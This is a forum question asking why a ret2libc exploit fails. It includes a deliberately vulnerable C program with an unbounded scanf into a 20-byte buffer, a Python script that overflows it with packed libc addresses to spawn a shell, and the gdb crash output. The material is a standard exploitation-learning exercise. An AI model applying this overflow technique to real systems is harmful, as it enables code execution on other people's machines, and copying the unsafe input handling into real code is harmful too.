ret2libc exploit issue

Question

i have some code in c i am working to write exploit for it:

#include <stdio.h>    
void secretFunction()
{
            printf("Congratulations!\n");
            printf("You have entered in the secret function!\n");
}

void echo()
{
            char buffer[20];
            printf("Enter some text:\n");
            scanf("%s", buffer);
            printf("You entered: %s\n", buffer);
}

int main()
{
            echo();
            return 0;
}

and i wrote the exploit script in python:

#!/bin/env python
import struct
system_addr = struct.pack("<I", 0xb7e1d200)
shell_addr = struct.pack("<I", 0xb7f5e0cf)
exit_addr = struct.pack("<I", 0xb7deeaac)
buf = "A" * 32
buf += system_addr
buf += exit_addr
buf += shell_addr
print buf

in gdb: gdb-peda$ r <<< $(python exploit_scanf.py)

it gave me:

[----------------------------------registers-----------------------------------]
EAX: 0x38 ('8')
EBX: 0x42424242 ('BBBB')
ECX: 0x0
EDX: 0xb7fb9890 --> 0x0
ESI: 0xb7fb8000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xd2424242
ESP: 0xbffff470 --> 0xe0cfb7de
EIP: 0xeaacb7e1
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xeaacb7e1
[------------------------------------stack-------------------------------------]
0000| 0xbffff470 --> 0xe0cfb7de
0004| 0xbffff474 --> 0xbf00b7f5
0008| 0xbffff478 --> 0x0
0012| 0xbffff47c --> 0xb7df8e81 (<__libc_start_main+241>:       add    esp,0x10)
0016| 0xbffff480 --> 0xb7fb8000 --> 0x1d7d6c
0020| 0xbffff484 --> 0xb7fb8000 --> 0x1d7d6c
0024| 0xbffff488 --> 0x0
0028| 0xbffff48c --> 0xb7df8e81 (<__libc_start_main+241>:       add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xeaacb7e1 in ?? ()

and sometimes it gave me:

/bin/bash: warning: command substitution: ignored null byte in input

and no redirect to shell , what is the issue with ret2libc exploit?